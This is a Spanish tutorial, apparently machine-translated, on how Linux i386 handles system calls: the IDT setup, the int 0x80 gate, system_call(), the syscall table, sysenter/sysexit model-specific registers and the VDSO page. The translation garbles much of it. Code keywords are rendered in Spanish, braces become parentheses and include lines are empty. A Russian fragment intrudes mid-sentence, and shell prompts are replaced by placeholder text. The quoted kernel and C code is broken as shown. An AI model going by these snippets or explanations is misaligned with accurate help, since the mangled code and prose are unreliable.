Contactos

llamadas del sistema. Man syscalls (2): llamadas del sistema Linux Ocultar una entrada de archivo en un directorio

De muchas cosas - dijo la Morsa - es hora de hablar.
L. Carroll (Cita del libro de B. Straustrap)

en lugar de una introducción.

Sobre el tema de la estructura interna del kernel de Linux en general, sus diversos subsistemas y llamadas al sistema en particular, ya se ha escrito y reescrito en orden. Probablemente, todo autor que se precie debería escribir sobre esto al menos una vez, así como todo programador que se precie debe escribir su propio administrador de archivos :) Aunque no soy un escritor profesional de TI, y en general, hago mis notas exclusivamente para su utilidad en primer lugar, para no olvidar lo que se aprendió demasiado rápido. Pero, si mis notas de viaje son útiles para alguien, por supuesto, solo me alegraré. Bueno, en general, no puedes estropear las gachas con mantequilla, por lo tanto, tal vez incluso yo pueda escribir o describir algo que nadie se molestó en mencionar.

Teoría. ¿Qué son las llamadas al sistema?

Cuando explican a los no iniciados qué es el software (o SO), suelen decir lo siguiente: la computadora en sí es una pieza de hierro, pero el software es lo que hace que esta pieza de hierro sea útil. Áspero, por supuesto, pero en general, algo cierto. Probablemente diría lo mismo sobre el sistema operativo y las llamadas al sistema. De hecho, en diferentes sistemas operativos, las llamadas al sistema se pueden implementar de diferentes maneras, el número de estas mismas llamadas puede variar, pero de una forma u otra, de una forma u otra, cualquier sistema operativo tiene un mecanismo de llamada al sistema. Todos los días, el usuario trabaja explícita o implícitamente con archivos. Por supuesto, puede abrir explícitamente el archivo para editarlo en su MS Word o Bloc de notas favorito, o simplemente puede lanzar un juguete, cuya imagen ejecutable, por cierto, también se almacena en un archivo que, a su vez, debe ser abierto y leído por los archivos ejecutables del cargador. A su vez, el juguete también puede abrir y leer decenas de archivos en el transcurso de su trabajo. Naturalmente, los archivos no solo se pueden leer, sino también escribir (no siempre, sin embargo, pero aquí no estamos hablando de separación de derechos y acceso discreto :)). El núcleo está a cargo de todo esto (en los sistemas operativos de micronúcleo, la situación puede diferir, pero ahora nos ocuparemos discretamente del objeto de nuestra discusión: Linux, por lo que ignoraremos este punto). En sí mismo, generar un nuevo proceso también es un servicio proporcionado por el kernel del sistema operativo. Todo esto es maravilloso, como lo es el hecho de que los procesadores modernos operan en frecuencias en el rango de los gigahercios y consisten en muchos millones de transistores, pero ¿qué sigue? Sí, ¿qué pasaría si no hubiera un mecanismo por el cual las aplicaciones de usuario pudieran realizar algunas cosas bastante mundanas y, al mismo tiempo, necesarias ( de hecho, estas acciones triviales en cualquier caso no las realiza la aplicación del usuario, sino el kernel del sistema operativo: el autor.), entonces el sistema operativo era solo una cosa en sí mismo: absolutamente inútil o, por el contrario, cada aplicación de usuario tendría que convertirse en un sistema operativo en sí mismo para satisfacer todas sus necesidades de forma independiente. Bonito, ¿no?

Por lo tanto, hemos llegado a la definición de una llamada al sistema en primera aproximación: una llamada al sistema es un tipo de servicio que el núcleo del sistema operativo proporciona a una aplicación de usuario a petición de este último. Tal servicio puede ser la ya mencionada apertura de un archivo, su creación, lectura, escritura, creación de un nuevo proceso, obtención de un identificador de proceso (pid), montaje del sistema de archivos, parada del sistema, finalmente. En la vida real, hay muchas más llamadas al sistema que las enumeradas aquí.

¿Qué aspecto tiene una llamada al sistema y qué es? Bueno, de lo que se dijo anteriormente, queda claro que una llamada al sistema es una subrutina del núcleo que tiene la forma adecuada. Aquellos que han tenido experiencia en programación Win9x/DOS probablemente recordarán la interrupción int 0x21 con todas (o al menos algunas) de sus muchas funciones. Sin embargo, hay una pequeña peculiaridad que se aplica a todas las llamadas al sistema Unix. Por convención, una función que implementa una llamada al sistema puede tomar N argumentos o no tomarlos en absoluto, pero de una forma u otra, la función debe devolver un valor de tipo int. Cualquier valor no negativo se trata como una ejecución exitosa de la función de llamada al sistema y, por lo tanto, como la llamada al sistema en sí. Un valor inferior a cero indica un error y también contiene un código de error (los códigos de error se definen en los encabezados include/asm-generic/errno-base.h e include/asm-generic/errno.h). En Linux, hasta hace poco, la interrupción int 0x80 era la puerta de enlace para las llamadas al sistema, mientras que en Windows (hasta XP Service Pack 2, si no me equivoco), la interrupción 0x2e era esa puerta de enlace. Nuevamente, en el kernel de Linux, hasta hace poco todas las llamadas al sistema eran manejadas por la función system_call(). Sin embargo, como resultó más tarde, el mecanismo clásico para procesar llamadas al sistema a través de la puerta de enlace 0x80 conduce a una caída significativa del rendimiento en los procesadores Intel Pentium 4. Por lo tanto, el mecanismo clásico fue reemplazado por el método de objetos compartidos dinámicos virtuales (DSO - dynamic archivo de objeto compartido No puedo garantizar la traducción correcta, pero DSO es lo que los usuarios de Windows conocen como DLL (Biblioteca de enlace dinámico) - VDSO. ¿Cuál es la diferencia entre el nuevo método y el clásico? Primero, tratemos con el método clásico que funciona a través de la puerta 0x80.

El mecanismo clásico de manejo de llamadas al sistema en Linux.

Interrupciones en arquitectura x86.

Como se mencionó anteriormente, la puerta de enlace 0x80 (int 0x80) se usaba anteriormente para atender las solicitudes de aplicaciones de los usuarios. El funcionamiento de un sistema basado en la arquitectura IA-32 está controlado por interrupciones (estrictamente hablando, esto se aplica a todos los sistemas basados ​​en x86 en general). Cuando ocurre un evento (un nuevo tic del temporizador, alguna actividad en algún dispositivo, errores - división por cero, etc.), se genera una interrupción. Una interrupción se llama así porque generalmente interrumpe el flujo normal de código. Las interrupciones generalmente se dividen en hardware y software (interrupciones de hardware y software). Las interrupciones de hardware son interrupciones generadas por el sistema y los dispositivos periféricos. Cuando un dispositivo necesita atraer la atención del kernel del sistema operativo, este (el dispositivo) genera una señal en su línea de solicitud de interrupción (IRQ - Línea de solicitud de interrupción). Esto lleva al hecho de que se genera una señal correspondiente en ciertas entradas del procesador, en base a lo cual el procesador decide interrumpir la ejecución del flujo de instrucciones y transferir el control al controlador de interrupciones, que ya descubre lo que sucedió y lo que necesita para hacerse Las interrupciones de hardware son de naturaleza asíncrona. Esto significa que una interrupción puede ocurrir en cualquier momento. Además de los dispositivos periféricos, el propio procesador puede generar interrupciones (o, más precisamente, excepciones de hardware - Excepciones de hardware - por ejemplo, la división por cero ya mencionada). Esto se hace para notificar al sistema operativo sobre la ocurrencia de una situación anormal, para que el sistema operativo pueda tomar alguna acción en respuesta a la ocurrencia de tal situación. Después de procesar la interrupción, el procesador vuelve a la ejecución del programa interrumpido. La interrupción puede ser iniciada por la aplicación del usuario. Tal interrupción se llama interrupción de software. Las interrupciones de software, a diferencia de las interrupciones de hardware, son síncronas. Es decir, cuando se llama a una interrupción, el código que la llamó se suspende hasta que se atiende la interrupción. Cuando el controlador de interrupciones sale, regresa a la dirección lejana almacenada anteriormente (cuando se llamó a la interrupción) en la pila, a la siguiente instrucción después de la instrucción de llamada de interrupción (int). Un manejador de interrupciones es un fragmento de código residente (permanentemente en la memoria). Como regla general, este es un programa pequeño. Aunque, si hablamos del kernel de Linux, entonces el controlador de interrupciones no siempre es tan pequeño. El manejador de interrupciones está definido por un vector. Un vector no es más que la dirección (segmento y desplazamiento) del comienzo del código que debe manejar las interrupciones en el índice dado. Trabajar con interrupciones difiere significativamente en los modos de operación del procesador real (Modo Real) y protegido (Modo Protegido) (recuerdo que en adelante nos referimos a los procesadores Intel y compatibles). En el modo real (sin protección) del procesador, los controladores de interrupción se definen por sus vectores, que siempre se almacenan al principio de la memoria.La selección de la dirección deseada de la tabla de vectores se produce por índice, que también es el número de interrupción. Al sobrescribir un vector con un índice específico, puede asignar su propio controlador de interrupciones.

En el modo protegido, los manejadores de interrupciones (gateways, gates o gates) ya no se definen mediante una tabla de vectores. En lugar de esta tabla, se utiliza la tabla de puertas o, más correctamente, la tabla de interrupciones - IDT (Tabla de descriptores de interrupciones). Esta tabla la genera el kernel y su dirección se almacena en el registro del procesador idtr. Este registro no es directamente accesible. Solo puede trabajar con él usando las instrucciones lidt/sidt. El primero (lidt) carga en el registro idtr el valor especificado en el operando, que es la dirección base de la tabla de descriptores de interrupción, el segundo (sidt) almacena la dirección de la tabla en idtr en el operando especificado. Así como el selector obtiene la información del segmento de la tabla de descriptores, también se obtiene el descriptor del segmento que sirve a la interrupción en modo protegido. La protección de la memoria es compatible con los procesadores Intel a partir de la CPU i80286 (no exactamente en la forma en que se presenta ahora, aunque solo sea porque 286 era un procesador de 16 bits; por lo tanto, Linux no puede ejecutarse en estos procesadores) e i80386, y por lo tanto el procesador hace todas las selecciones necesarias y, por lo tanto, no profundizaremos en todas las sutilezas del modo protegido (es decir, Linux funciona en modo protegido). Desafortunadamente, ni el tiempo ni las oportunidades nos permiten detenernos en el mecanismo de manejo de interrupciones en modo protegido durante mucho tiempo. Sí, este no era el objetivo al escribir este artículo. Toda la información proporcionada aquí con respecto al funcionamiento de la familia de procesadores x86 es bastante superficial y se proporciona solo para ayudar a comprender un poco mejor el mecanismo de las llamadas al sistema del kernel. Algunas cosas se pueden aprender directamente del código del núcleo, aunque, para comprender completamente lo que está sucediendo, es deseable familiarizarse con los principios del modo protegido. La sección de código que inicializa (¡pero no configura!) el IDT se encuentra en arch/i386/kernel/head.S: /* * setup_idt * * configura un idt con 256 entradas apuntando a * ignore_int, puertas de interrupción. En realidad, no carga * idt, eso solo se puede hacer después de que se haya habilitado la paginación * y el núcleo se haya movido a PAGE_OFFSET. Las interrupciones * se habilitan en otros lugares, cuando podemos estar relativamente * seguros de que todo está bien. * * Advertencia: %esi está activo a través de esta función.*/ 1.setup_idt: 2.lea ignore_int,%edx 3.movl $(__KERNEL_CS<< 16),%eax 4. movw %dx,%ax /* selector = 0x0010 = cs */ 5. movw $0x8E00,%dx /* interrupt gate - dpl=0, present */ 6. lea idt_table,%edi 7. mov $256,%ecx 8.rp_sidt: 9. movl %eax,(%edi) 10. movl %edx,4(%edi) 11. addl $8,%edi 12. dec %ecx 13. jne rp_sidt 14..macro set_early_handler handler,trapno 15. lea \handler,%edx 16. movl $(__KERNEL_CS << 16),%eax 17. movw %dx,%ax 18. movw $0x8E00,%dx /* interrupt gate - dpl=0, present */ 19. lea idt_table,%edi 20. movl %eax,8*\trapno(%edi) 21. movl %edx,8*\trapno+4(%edi) 22..endm 23. set_early_handler handler=early_divide_err,trapno=0 24. set_early_handler handler=early_illegal_opcode,trapno=6 25. set_early_handler handler=early_protection_fault,trapno=13 26. set_early_handler handler=early_page_fault,trapno=14 28. ret Algunas notas sobre el código: el código anterior está escrito en una variación del ensamblador de AT&T, por lo que su conocimiento del ensamblador en su notación habitual de Intel solo puede ser confuso. La diferencia más básica está en el orden de los operandos. Si el orden está definido para notación Intel - "acumulador"< "источник", то для ассемблера AT&T порядок прямой. Регистры процессора, как правило, должны иметь префикс "%", непосредственные значения (константы) префиксируются символом доллара "$". Синтаксис AT&T традиционно используется в Un*x-системах.

En el ejemplo anterior, las líneas 2-4 establecen la dirección del controlador de interrupciones predeterminado para todas las interrupciones. El controlador predeterminado es la función ignore_int, que no hace nada. La presencia de tal stub es necesaria para el procesamiento correcto de todas las interrupciones en esta etapa, ya que simplemente no hay otras todavía (aunque las trampas se instalan un poco más abajo en el código; para trampas, consulte la Referencia del manual de arquitectura de Intel o algo similar , no estaremos aquí toque trampas). La línea 5 establece el tipo de válvula. En la línea 6, cargamos la dirección de nuestra tabla IDT en el registro de índice. La tabla debe contener 255 entradas, 8 bytes cada una. En las líneas 8-13 llenamos toda la tabla con los mismos valores establecidos anteriormente en los registros eax y edx, es decir, esta es la puerta de interrupción que se refiere al controlador ignore_int. Un poco más abajo, definimos una macro para colocar trampas: líneas 14-22. En las líneas 23-26, usando la macro anterior, configuramos trampas para las siguientes excepciones: early_divide_err - división por cero (0), early_illegal_opcode - instrucción de procesador desconocida (6), early_protection_fault - falla de protección de memoria (13), early_page_fault - traducción de página fracaso (14) . Entre paréntesis están los números de "interrupciones" generadas cuando ocurre la situación anormal correspondiente. Antes de verificar el tipo de procesador en arch/i386/kernel/head.S, la tabla IDT se configura llamando a setup_idt: /* * inicia la configuración del sistema de 32 bits. Necesitamos volver a hacer algunas de las cosas hechas * en modo de 16 bits para las operaciones "reales". */ 1. llamar a setup_idt ... 2. llamar a check_x87 3. lgdt early_gdt_descr 4. lidt idt_descr Después de averiguar el tipo de (co)procesador y hacer todo el trabajo preparatorio en las líneas 3 y 4, cargamos las tablas GDT e IDT, que se utilizarán en las primeras etapas del núcleo.

Llamadas al sistema e int 0x80.

De las interrupciones, volvamos a las llamadas al sistema. Entonces, ¿qué se necesita para atender un proceso que solicita algún tipo de servicio? Primero, debe pasar del anillo 3 (nivel de privilegio CPL=3) al nivel 0 más privilegiado (Anillo 0, CPL=0). el código del núcleo se encuentra en el segmento con los privilegios más altos. Además, necesita el código del controlador que servirá para el proceso. Para esto se utiliza la puerta de enlace 0x80. Aunque hay muchas llamadas al sistema, todas usan un único punto de entrada: int 0x80. El propio controlador se establece cuando se llama a la función arch/i386/kernel/traps.c::trap_init(): void __init trap_init(void) (... set_system_gate(SYSCALL_VECTOR,&system_call); ... ) Estamos más interesados ​​en esta línea en trap_init(). En el mismo archivo anterior, puede ver el código de la función set_system_gate(): static void __init set_system_gate(unsigned int n, void *addr) ( _set_gate(n, DESCTYPE_TRAP | DESCTYPE_DPL3, addr, __KERNEL_CS); ) Aquí puede ver que la puerta para la interrupción 0x80 (es decir, este valor está definido por la macro SYSCALL_VECTOR; puede tomar una palabra :)) está configurada como una trampa con nivel de privilegio DPL = 3 (Anillo 3), es decir esta interrupción se detectará cuando se llame desde el espacio del usuario. El problema con la transición del Anillo 3 al Anillo 0 es así. resuelto. La función _set_gate() se define en el archivo de encabezado include/asm-i386/desc.h. Para aquellos que son especialmente curiosos, a continuación se muestra el código, sin embargo, sin largas explicaciones: static inline void _set_gate(int gate, tipo int sin signo, void *addr, segmento corto sin signo) ( __u32 a, b; pack_gate(&a, &b, (largo sin signo)addr, seg, type, 0); write_idt_entry(idt_table, gate , a, b); ) Volvamos a la función trap_init(). Se llama desde la función start_kernel() en init/main.c . Si observa el código trap_init(), puede ver que esta función vuelve a escribir algunos valores de la tabla IDT: los controladores que se usaron en las primeras etapas de la inicialización del kernel (early_page_fault, early_divide_err, early_illegal_opcode, early_protection_fault) se reemplazan con esos que ya se usará en el trabajo del núcleo del proceso. Entonces, casi llegamos al punto y ya sabemos que todas las llamadas al sistema se procesan de la misma manera: a través de la puerta de enlace int 0x80. Como controlador para int 0x80, como se ve nuevamente en el código anterior arch/i386/kernel/traps.c::trap_init(), se establece la función system_call().

llamada_sistema().

El código de la función system_call() se encuentra en el archivo arch/i386/kernel/entry.S y se ve así: # stub del controlador de llamadas del sistema ENTRY(system_call) RING0_INT_FRAME # no puede relajarse en el espacio del usuario pushl %eax # de todos modos guardar orig_eax CFI_ADJUST_CFA_OFFSET 4 SAVE_ALL GET_THREAD_INFO(%ebp) # rastreo de llamadas del sistema en operación / emulación /* Nota, _TIF_SECCOMP es el bit número 8 , por lo que necesita testw y no testb */ testw $(_TIF_SYSCALL_EMU|_TIF_SYSCALL_TRACE|_TIF_SECCOMP|_TIF_SYSCALL_AUDIT),TI_flags(%ebp) jnz syscall_trace_entry cmpl $(nr_syscalls), %eax jae syscall_badsys syscall_call: call *sys_call_table(,% 4) movl %eax,PT_EAX(%esp) # almacenar el valor devuelto... El código no está completo. Como puede ver, system_call() primero configura la pila para que funcione en el anillo 0, guarda el valor que se le pasa a través de eax a la pila, también guarda todos los registros en la pila, obtiene datos sobre el hilo de llamada y verifica si el valor que se le pasó, el número de llamada del sistema, está fuera de rango, fuera de la tabla de llamadas del sistema, y ​​luego, finalmente, usando el valor pasado a eax como argumento, system_call() salta al controlador de salida del sistema real en función de qué tabla entrada a la que se refiere el índice en eax. Ahora recuerde la vieja y buena tabla de vectores de interrupción del modo real. ¿No te recuerda a nada? En realidad, por supuesto, todo es algo más complicado. En particular, la llamada al sistema debe copiar los resultados de la pila del núcleo a la pila del usuario, pasar un código de retorno y algunas otras cosas. En caso de que el argumento especificado en eax no se refiera a una llamada al sistema existente (el valor está fuera de rango), se produce el salto a la etiqueta syscall_badsys. Aquí, el valor -ENOSYS se inserta en la pila en el desplazamiento en el que debe ubicarse el valor de eax; la llamada al sistema no se implementa. Esto completa la ejecución de system_call().

La tabla de llamadas al sistema se encuentra en el archivo arch/i386/kernel/syscall_table.S y tiene una forma bastante simple: ENTRY(sys_call_table) .long sys_restart_syscall /* 0 - antigua llamada al sistema "setup()", utilizada para reiniciar */ .long sys_exit .long sys_fork .long sys_read .long sys_write .long sys_open /* 5 */ .long sys_close .long sys_waitpid .largo sys_creat ... En otras palabras, toda la tabla no es más que una matriz de direcciones de funciones, dispuestas en el orden del número de llamadas al sistema que atienden estas funciones. La tabla es una matriz ordinaria de palabras de doble máquina (o palabras de 32 bits, lo que quieras). El código para parte de las funciones que dan servicio a las llamadas al sistema se encuentra en la parte específica de la plataforma, arch/i386/kernel/sys_i386.c, y la parte independiente de la plataforma, en kernel/sys.c.

Este es el caso de las llamadas al sistema y la puerta 0x80.

Un nuevo mecanismo para manejar llamadas al sistema en Linux. entrar/salir del sistema.

Como se mencionó, rápidamente quedó claro que el uso del método tradicional de procesamiento de llamadas al sistema basado en la puerta 0x80 conduce a una pérdida de rendimiento en los procesadores Intel Pentium 4. Por lo tanto, Linus Torvalds implementó un nuevo mecanismo en el kernel basado en las instrucciones sysenter / sysexit y diseñado para aumentar el rendimiento del núcleo en máquinas equipadas con un procesador Pentium II y superior (es con Pentium II + que los procesadores Intel admiten las instrucciones sysenter / sysexit mencionadas). ¿Cuál es la esencia del nuevo mecanismo? Por extraño que parezca, pero la esencia seguía siendo la misma. La ejecución ha cambiado. De acuerdo con la documentación de Intel, la instrucción sysenter es parte del mecanismo de "llamadas rápidas al sistema". En particular, esta instrucción está optimizada para una transición rápida de un nivel de privilegio a otro. Para ser más precisos, acelera la transición al anillo 0 (Ring 0, CPL=0). En este caso, el sistema operativo debe preparar el procesador para usar la instrucción sysenter. Esta configuración se realiza una vez al cargar e inicializar el kernel del sistema operativo. Cuando se le llama, sysenter establece los registros del procesador de acuerdo con los registros dependientes de la máquina establecidos previamente por el sistema operativo. En particular, se establecen el registro de segmento y el registro de puntero de instrucción - cs:eip, así como el segmento de pila y el puntero superior de pila - ss, esp. La transición a un nuevo segmento de código y el cambio se llevan a cabo del anillo 3 al 0.

La instrucción sysexit hace lo contrario. Realiza una transición rápida del nivel de privilegio 0 al nivel de privilegio 3 (CPL=3). En este caso, el registro del segmento de código se establece en 16 + el valor del segmento cs almacenado en el registro del procesador dependiente de la máquina. El registro eip se llena con el contenido del registro edx. La suma de 24 y el valor de cs, ingresados ​​por el sistema operativo anteriormente en el registro dependiente de la máquina del procesador, se ingresan en ss cuando se prepara el contexto para la operación de la instrucción sysenter. esp se llena con el contenido del registro ecx. Los valores necesarios para que funcionen las instrucciones sysenter/sysexit se almacenan en las siguientes direcciones:

  1. SYSENTER_CS_MSR 0x174: segmento de código donde se ingresa el valor del segmento que contiene el código del controlador de llamadas del sistema.
  2. SYSENTER_ESP_MSR 0x175: puntero a la parte superior de la pila para el controlador de llamadas del sistema.
  3. SYSENTER_EIP_MSR 0x176: puntero para desplazar dentro del segmento de código. Apunta al principio del código del controlador de llamadas del sistema.
Estas direcciones se refieren a registros dependientes del modelo que no tienen nombres. Los valores se escriben en registros dependientes del modelo usando la instrucción wrmsr, mientras que edx:eax debe contener las partes mayor y menor de una palabra de máquina de 64 bits, respectivamente, y la dirección del registro en el que se escribirá debe ingresarse en ecx . En Linux, las direcciones de los registros dependientes del modelo se definen en el archivo de encabezado include/asm-i368/msr-index.h de la siguiente manera (antes de la versión 2.6.22, al menos se definían en el archivo include/asm-i386/msr .h archivo de encabezado, permítame recordarle que consideramos el mecanismo de las llamadas al sistema utilizando el kernel de Linux 2.6.22 como ejemplo): #definir MSR_IA32_SYSENTER_CS 0x00000174 #definir MSR_IA32_SYSENTER_ESP 0x00000175 #definir MSR_IA32_SYSENTER_EIP 0x00000176 El código del núcleo responsable de configurar los registros dependientes del modelo se encuentra en el archivo arch/i386/sysenter.c y tiene este aspecto: 1. void enable_sep_cpu(void) ( 2. int cpu = get_cpu(); 3. struct tss_struct *tss = &per_cpu(init_tss, cpu); 4. if (!boot_cpu_has(X86_FEATURE_SEP)) ( 5. put_cpu(); 6. return;) 7. tss->x86_tss.ss1 = __KERNEL_CS; 8. tss->x86_tss.esp1 = sizeof(struct tss_struct) + (largo sin firmar) tss; 9. wrmsr(MSR_IA32_SYSENTER_CS, __KERNEL_CS, 0); 10. wrmsr( MSR_IA32_SYSENTER_ESP, tss->x86_tss.esp1, 0); 11. wrmsr(MSR_IA32_SYSENTER_EIP, (largo sin firmar) sysenter_entry, 0); 12. put_cpu(); ) Aquí, en la variable tss, obtenemos la dirección de la estructura que describe el segmento de estado de la tarea. TSS (segmento de estado de tareas) se usa para describir el contexto de una tarea y es parte del mecanismo multitarea de hardware x86. Sin embargo, Linux hace poco uso del cambio de contexto de tareas de hardware. De acuerdo con la documentación de Intel, el cambio a otra tarea se realiza mediante la ejecución de una instrucción de salto entre segmentos (jmp o llamada) que hace referencia al segmento TSS o al identificador de la puerta de tareas en la GDT (LDT). Un registro de procesador especial, invisible para el programador - TR (Registro de tareas - registro de tareas) contiene el selector de descriptor de tareas. Al cargar este registro también se cargan los registros base y límite invisibles por software asociados con TR.

Aunque Linux no utiliza el cambio de contexto de tareas de hardware, el núcleo se ve obligado a asignar una entrada TSS para cada procesador instalado en el sistema. Esto se debe a que cuando el procesador cambia del modo de usuario al modo kernel, obtiene la dirección de la pila del kernel de TSS. Además, se requiere TSS para controlar el acceso a los puertos de E/S. El TSS contiene un mapa de permisos de puerto. Con base en este mapa, es posible controlar el acceso a los puertos para cada proceso mediante instrucciones de entrada/salida. Aquí tss->x86_tss.esp1 apunta a la pila del núcleo. __KERNEL_CS apunta naturalmente al segmento de código del kernel. El offset-eip es la dirección de la función sysenter_entry().

La función sysenter_entry() está definida en el archivo arch/i386/kernel/entry.S y tiene este aspecto: /* SYSENTER_RETURN apunta a después de la instrucción "sysenter" en la página vsyscall. Consulte vsyscall-sysentry.S, que define el símbolo. */ # sysenter call handler stub ENTRY(sysenter_entry) CFI_STARTPROC simple CFI_SIGNAL_FRAME CFI_DEF_CFA esp, 0 CFI_REGISTER esp, ebp movl TSS_sysenter_esp0(%esp),%esp sysenter_past_esp: /* * No es necesario seguir esta sección de activación/desactivación de irqs: la llamada al sistema * deshabilitamos irqs y aquí lo habilitamos inmediatamente después de la entrada: */ ENABLE_INTERRUPTS(CLBR_NONE) pushl $(__USER_DS) CFI_ADJUST_CFA_OFFSET 4 /*CFI_REL_OFFSET ss, 0*/ pushl %ebp CFI_ADJUST_CFA_OFFSET 4 CFI_REL_OFFSET esp, 0 pushfl CFI_ADJUST_COFFFA_OFFSET 4 cFI_REL_ 4 /*/ pushl , 0*/ /* * Empuje current_thread_info()->sysenter_return a la pila. * Es necesaria una pequeña corrección de desplazamiento: 4*4 significa las 4 palabras * empujadas arriba; +8 corresponde a la configuración esp0 de copy_thread". */ pushl (TI_sysenter_return-THREAD_SIZE+8+4*4)(%esp) CFI_ADJUST_CFA_OFFSET 4 CFI_REL_OFFSET eip, 0 /* * Carga el sexto argumento potencial de la pila del usuario. * Cuidado con la seguridad .*/ cmpl $__PAGE_OFFSET-3,%ebp jae syscall_fault 1: movl (%ebp),%ebp .section __ex_table,"a" .align 4 .long 1b,syscall_fault .previous pushl %eax CFI_ADJUST_CFA_OFFSET 4 SAVE_ALL GET_THREAD_INFO(%ebp ) /* Nota, _TIF_SECCOMP es el bit número 8, por lo que necesita testw y no testb */ testw $(_TIF_SYSCALL_EMU|_TIF_SYSCALL_TRACE|_TIF_SECCOMP|_TIF_SYSCALL_AUDIT),TI_flags(%ebp) jnz syscall_trace_entry cmpl $(nr_syscalls), %eax jae syscall_badsys call *sys_call_table(,%eax,4) movl %eax,PT_EAX(%esp) DISABLE_INTERRUPTS(CLBR_ANY) TRACE_IRQS_OFF movl TI_flags(%ebp), %ecx testw $_TIF_ALLWORK_MASK, %cx jne syscall_exit_work /* si algo modifica registros también debe desactivar sysexit */ movl PT_EIP(%esp), %edx movl PT_OLDESP(%esp), %ecx xorl % ebp,%ebp TRACE_IRQS_ON 1: mov PT_FS(%esp), %fs ENABLE_INTERRUPTS_SYSEXIT CFI_ENDPROC .pushsection .fixup,"ax" 2: movl $0,PT_FS(%esp) jmp 1b .section __ex_table,"a" .align 4 .long 1b, 2b .popsection ENDPROC(sysenter_entry) Al igual que con system_call() , el trabajo principal se realiza en la línea de llamada *sys_call_table(,%eax,4). Aquí es donde se invoca el controlador de llamadas del sistema específico. Entonces, está claro que poco ha cambiado fundamentalmente. El hecho de que el vector de interrupción ahora esté integrado en el hardware y el procesador nos ayuda a pasar rápidamente de un nivel de privilegio a otro cambia solo algunos detalles de ejecución con el mismo contenido. Es cierto que los cambios no terminan ahí. Recuerda cómo empezó la historia. Al principio, ya mencioné los objetos virtuales compartidos. Entonces, si anteriormente la implementación de una llamada al sistema, digamos, desde la biblioteca del sistema libc parecía una llamada de interrupción (a pesar de que la biblioteca asumió algunas funciones para reducir la cantidad de cambios de contexto), ahora gracias a VDSO una llamada al sistema se puede hacer casi directamente, sin la participación de libc. Podría haberse hecho directamente antes, nuevamente, como una interrupción. Pero ahora la llamada se puede solicitar como una función regular exportada desde una biblioteca vinculada dinámicamente (DSO). En el arranque, el kernel determina qué mecanismo debe y puede usarse para una plataforma determinada. Según las circunstancias, el núcleo establece el punto de entrada a la función que ejecuta la llamada al sistema. A continuación, la función se exporta al espacio del usuario como la biblioteca linux-gate.so.1. La biblioteca linux-gate.so.1 no existe físicamente en el disco. Es, por así decirlo, emulado por el kernel y existe solo mientras el sistema funciona. Si realiza un cierre del sistema, monte el FS raíz desde otro sistema, entonces no encontrará este archivo en el FS raíz del sistema detenido. En realidad, no podrá encontrarlo ni siquiera en un sistema en ejecución. Físicamente, simplemente no existe. Es por eso que linux-gate.so.1 es algo más que VDSO, es decir, Objeto virtual compartido dinámicamente. El núcleo mapea la biblioteca dinámica emulada de esta manera en el espacio de direcciones de cada proceso. Puede verificar esto fácilmente ejecutando el siguiente comando: [correo electrónico protegido]:~$ cat /proc/self/maps 08048000-0804c000 r-xp 00000000 08:01 46 0 ... b7fdf000-b7fe1000 rw-p 00019000 08:01 2066 /lib/ld-2.5.so bffd2000-bffe8000 rw-p bffd2000 00:00 0 fffe000-fffff000 r-xp 00000000 00:00 0 Aquí la última línea es el objeto de interés para nosotros: fffe000-ffff000 r-xp 00000000 00:00 0 Del ejemplo anterior, se puede ver que el objeto ocupa exactamente una página en la memoria: 4096 bytes, prácticamente en las afueras del espacio de direcciones. Hagamos otro experimento: [correo electrónico protegido]:~$ ldd `cuál gato` linux-gate.so.1 => (0xffffe000) libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0xb7e87000) /lib/ld-linux .so.2 (0xb7fdf000) [correo electrónico protegido]:~$ ldd `que gcc` linux-gate.so.1 => (0xffffe000) libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0xb7e3c000) /lib/ld-linux .so.2 (0xb7f94000) [correo electrónico protegido]:~$ Aquí tomamos de improviso dos aplicaciones. Se puede ver que la biblioteca está asignada al espacio de direcciones del proceso en la misma dirección permanente: 0xffffe000. Ahora intentemos ver lo que realmente está almacenado en esta página de memoria...

Puede volcar la página de memoria donde se almacena el código compartido de VDSO utilizando el siguiente programa: #include #include #include int main () ( char* vdso = 0xffffe000; char* buffer; FILE* f; buffer = malloc(4096); if (!buffer) exit(1); memcpy(buffer, vdso, 4096) ; if (!(f = fopen ("test.dump", "w+b"))) ( free (buffer); exit (1); ) fwrite (buffer, 4096, 1, f); fclose (f) ; libre (búfer); devuelve 0; ) Estrictamente hablando, antes esto se podía hacer de forma más sencilla con el comando dd if=/proc/self/mem of=test.dump bs=4096 skip=1048574 count=1, pero los núcleos desde la versión 2.6.22 o incluso anteriores ya no asignan la memoria de proceso a /proc/`pid`/mem. Este archivo, aparentemente guardado por compatibilidad, no contiene más información.

Compile y ejecute el programa anterior. Intentemos desensamblar el código resultante: [correo electrónico protegido]:~/tmp$ objdump --disassemble ./test.dump ./test.dump: formato de archivo elf32-i386 Desmontaje de la sección .text: ffffe400<__kernel_vsyscall>: ffffe400: 51 empujar %ecx ffffe401: 52 empujar %edx ffffe402: 55 empujar %ebp ffffe403: 89 e5 mov %esp,%ebp ffffe405: 0f 34 sysenter ... ffffe40e: eb f3 jmp ffffe403<__kernel_vsyscall+0x3>ffffe410: 5d pop %ebp ffffe411: 5a pop %edx ffffe412: 59 pop %ecx ffffe413: c3 ret ... [correo electrónico protegido]:~/tmp$ Aquí está nuestra puerta de enlace para llamadas al sistema, todo a la vista. El proceso (o la biblioteca del sistema libc), llamando a la función __kernel_vsyscall, llega a la dirección 0хffffe400 (en nuestro caso). Además, __kernel_vsyscall guarda el contenido de los registros ecx, edx, ebp en la pila del proceso del usuario. Ya hablamos sobre el propósito de los registros ecx y edx anteriormente, en ebp se usa más tarde para restaurar la pila del usuario. La instrucción sysenter se ejecuta, "interceptando la interrupción" y, como resultado, la siguiente transición a sysenter_entry (ver arriba). La instrucción jmp en 0xffffe40e se inserta para reiniciar la llamada del sistema con 6 argumentos (ver http://lkml.org/lkml/2002/12/18/). El código colocado en la página está en el archivo arch/i386/kernel/vsyscall-enter.S (o arch/i386/kernel/vsyscall-int80.S para el enlace 0x80). Aunque descubrí que la dirección de la función __kernel_vsyscall es constante, existe la opinión de que esto no es así. Por lo general, la posición del punto de entrada en __kernel_vsyscall() se puede encontrar desde el vector ELF-auxv usando el parámetro AT_SYSINFO. El vector ELF-auxv contiene información que se pasa al proceso a través de la pila al inicio y contiene información diversa necesaria durante la ejecución del programa. Este vector contiene específicamente las variables de entorno del proceso, los argumentos, etc.

